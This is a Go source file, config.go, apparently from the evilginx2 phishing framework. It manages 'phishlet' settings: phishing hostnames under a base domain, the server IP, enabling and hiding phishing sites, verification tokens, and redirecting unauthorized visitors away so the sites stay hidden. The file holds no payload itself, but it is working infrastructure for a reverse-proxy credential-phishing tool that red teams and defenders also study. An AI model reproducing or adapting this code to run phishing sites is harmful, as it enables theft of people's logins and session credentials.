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config.go
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config.go
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package core
import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/kgretzky/evilginx2/log"
"github.com/spf13/viper"
)
type Config struct {
siteDomains map[string]string
baseDomain string
serverIP string
sitesEnabled map[string]bool
sitesHidden map[string]bool
phishlets map[string]*Phishlet
phishletNames []string
activeHostnames []string
redirectParam string
verificationParam string
verificationToken string
redirectUrl string
cfg *viper.Viper
}
const (
CFG_SITE_DOMAINS = "site_domains"
CFG_BASE_DOMAIN = "server"
CFG_SERVER_IP = "ip"
CFG_SITES_ENABLED = "sites_enabled"
CFG_SITES_HIDDEN = "sites_hidden"
CFG_REDIRECT_PARAM = "redirect_key"
CFG_VERIFICATION_PARAM = "verification_key"
CFG_VERIFICATION_TOKEN = "verification_token"
CFG_REDIRECT_URL = "redirect_url"
)
const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
func NewConfig(cfg_dir string, path string) (*Config, error) {
c := &Config{
siteDomains: make(map[string]string),
sitesEnabled: make(map[string]bool),
sitesHidden: make(map[string]bool),
phishlets: make(map[string]*Phishlet),
phishletNames: []string{},
}
c.cfg = viper.New()
c.cfg.SetConfigType("yaml")
if path == "" {
path = filepath.Join(cfg_dir, "config.yaml")
}
err := os.MkdirAll(filepath.Dir(path), os.FileMode(0700))
if err != nil {
return nil, err
}
c.cfg.SetConfigFile(path)
if _, err := os.Stat(path); os.IsNotExist(err) {
err = c.cfg.WriteConfigAs(path)
if err != nil {
return nil, err
}
}
err = c.cfg.ReadInConfig()
if err != nil {
return nil, err
}
c.baseDomain = c.cfg.GetString(CFG_BASE_DOMAIN)
c.serverIP = c.cfg.GetString(CFG_SERVER_IP)
c.siteDomains = c.cfg.GetStringMapString(CFG_SITE_DOMAINS)
c.redirectParam = c.cfg.GetString(CFG_REDIRECT_PARAM)
c.verificationParam = c.cfg.GetString(CFG_VERIFICATION_PARAM)
c.verificationToken = c.cfg.GetString(CFG_VERIFICATION_TOKEN)
c.redirectUrl = c.cfg.GetString(CFG_REDIRECT_URL)
s_enabled := c.cfg.GetStringSlice(CFG_SITES_ENABLED)
for _, site := range s_enabled {
c.sitesEnabled[site] = true
}
s_hidden := c.cfg.GetStringSlice(CFG_SITES_HIDDEN)
for _, site := range s_hidden {
c.sitesHidden[site] = true
}
var param string
if c.redirectParam == "" {
param = strings.ToLower(GenRandomString(2))
c.SetRedirectParam(param)
}
if c.verificationParam == "" {
for {
param = strings.ToLower(GenRandomString(2))
if param != c.redirectParam {
break
}
}
c.SetVerificationParam(param)
}
if c.verificationToken == "" {
c.SetVerificationToken(GenRandomToken()[:4])
}
if c.redirectUrl == "" {
c.SetRedirectUrl(DEFAULT_REDIRECT_URL)
}
return c, nil
}
func (c *Config) SetSiteHostname(site string, domain string) bool {
if c.baseDomain == "" {
log.Error("you need to set server domain, first. type: server your-domain.com")
return false
}
if _, err := c.GetPhishlet(site); err != nil {
log.Error("%v", err)
return false
}
if domain != c.baseDomain && !strings.HasSuffix(domain, "."+c.baseDomain) {
log.Error("phishlet hostname must end with '%s'", c.baseDomain)
return false
}
c.siteDomains[site] = domain
c.cfg.Set(CFG_SITE_DOMAINS, c.siteDomains)
log.Info("phishlet '%s' hostname set to: %s", site, domain)
c.cfg.WriteConfig()
return true
}
func (c *Config) SetBaseDomain(domain string) {
c.baseDomain = domain
c.cfg.Set(CFG_BASE_DOMAIN, c.baseDomain)
log.Info("server domain set to: %s", domain)
c.cfg.WriteConfig()
}
func (c *Config) SetServerIP(ip_addr string) {
c.serverIP = ip_addr
c.cfg.Set(CFG_SERVER_IP, c.serverIP)
log.Info("server IP set to: %s", ip_addr)
c.cfg.WriteConfig()
}
func (c *Config) SetSiteEnabled(site string) error {
if _, err := c.GetPhishlet(site); err != nil {
log.Error("%v", err)
return err
}
if !c.IsSiteEnabled(site) {
c.sitesEnabled[site] = true
}
c.refreshActiveHostnames()
var sites []string
for s, _ := range c.sitesEnabled {
sites = append(sites, s)
}
c.cfg.Set(CFG_SITES_ENABLED, sites)
log.Info("enabled phishlet '%s'", site)
c.cfg.WriteConfig()
return nil
}
func (c *Config) SetSiteDisabled(site string) error {
if _, err := c.GetPhishlet(site); err != nil {
log.Error("%v", err)
return err
}
if c.IsSiteEnabled(site) {
delete(c.sitesEnabled, site)
}
c.refreshActiveHostnames()
var sites []string
for s, _ := range c.sitesEnabled {
sites = append(sites, s)
}
c.cfg.Set(CFG_SITES_ENABLED, sites)
log.Info("disabled phishlet '%s'", site)
c.cfg.WriteConfig()
return nil
}
func (c *Config) SetSiteHidden(site string, hide bool) error {
if _, err := c.GetPhishlet(site); err != nil {
log.Error("%v", err)
return err
}
if hide {
if !c.IsSiteHidden(site) {
c.sitesHidden[site] = true
}
} else {
if c.IsSiteHidden(site) {
delete(c.sitesHidden, site)
}
}
c.refreshActiveHostnames()
var sites []string
for s, _ := range c.sitesHidden {
sites = append(sites, s)
}
c.cfg.Set(CFG_SITES_HIDDEN, sites)
if hide {
log.Info("phishlet '%s' is now hidden and all requests to it will be redirected", site)
} else {
log.Info("phishlet '%s' is now reachable and visible from the outside", site)
}
c.cfg.WriteConfig()
return nil
}
func (c *Config) ResetAllSites() {
for s, _ := range c.sitesEnabled {
c.SetSiteDisabled(s)
}
for s, _ := range c.phishlets {
c.siteDomains[s] = ""
}
c.cfg.Set(CFG_SITE_DOMAINS, c.siteDomains)
c.cfg.WriteConfig()
}
func (c *Config) IsSiteEnabled(site string) bool {
s, ok := c.sitesEnabled[site]
if !ok {
return false
}
return s
}
func (c *Config) IsSiteHidden(site string) bool {
s, ok := c.sitesHidden[site]
if !ok {
return false
}
return s
}
func (c *Config) GetEnabledSites() []string {
var sites []string
for s, _ := range c.sitesEnabled {
sites = append(sites, s)
}
return sites
}
func (c *Config) SetRedirectParam(param string) {
c.redirectParam = param
c.cfg.Set(CFG_REDIRECT_PARAM, param)
log.Info("redirect parameter set to: %s", param)
c.cfg.WriteConfig()
}
func (c *Config) SetVerificationParam(param string) {
c.verificationParam = param
c.cfg.Set(CFG_VERIFICATION_PARAM, param)
log.Info("verification parameter set to: %s", param)
c.cfg.WriteConfig()
}
func (c *Config) SetVerificationToken(token string) {
c.verificationToken = token
c.cfg.Set(CFG_VERIFICATION_TOKEN, token)
log.Info("verification token set to: %s", token)
c.cfg.WriteConfig()
}
func (c *Config) SetRedirectUrl(url string) {
c.redirectUrl = url
c.cfg.Set(CFG_REDIRECT_URL, url)
log.Info("unauthorized request redirection URL set to: %s", url)
c.cfg.WriteConfig()
}
func (c *Config) refreshActiveHostnames() {
c.activeHostnames = []string{}
sites := c.GetEnabledSites()
for _, site := range sites {
pl, err := c.GetPhishlet(site)
if err != nil {
continue
}
for _, host := range pl.GetPhishHosts() {
c.activeHostnames = append(c.activeHostnames, host)
}
}
}
func (c *Config) IsActiveHostname(host string) bool {
if host[len(host)-1:] == "." {
host = host[:len(host)-1]
}
for _, h := range c.activeHostnames {
if h == host {
return true
}
}
return false
}
func (c *Config) AddPhishlet(site string, pl *Phishlet) {
c.phishletNames = append(c.phishletNames, site)
c.phishlets[site] = pl
}
func (c *Config) GetPhishlet(site string) (*Phishlet, error) {
pl, ok := c.phishlets[site]
if !ok {
return nil, fmt.Errorf("phishlet '%s' not found", site)
}
return pl, nil
}
func (c *Config) GetPhishletNames() []string {
return c.phishletNames
}
func (c *Config) GetSiteDomain(site string) (string, bool) {
domain, ok := c.siteDomains[site]
return domain, ok
}
func (c *Config) GetAllDomains() []string {
var ret []string
for _, dom := range c.siteDomains {
ret = append(ret, dom)
}
return ret
}
func (c *Config) GetBaseDomain() string {
return c.baseDomain
}
func (c *Config) GetServerIP() string {
return c.serverIP
}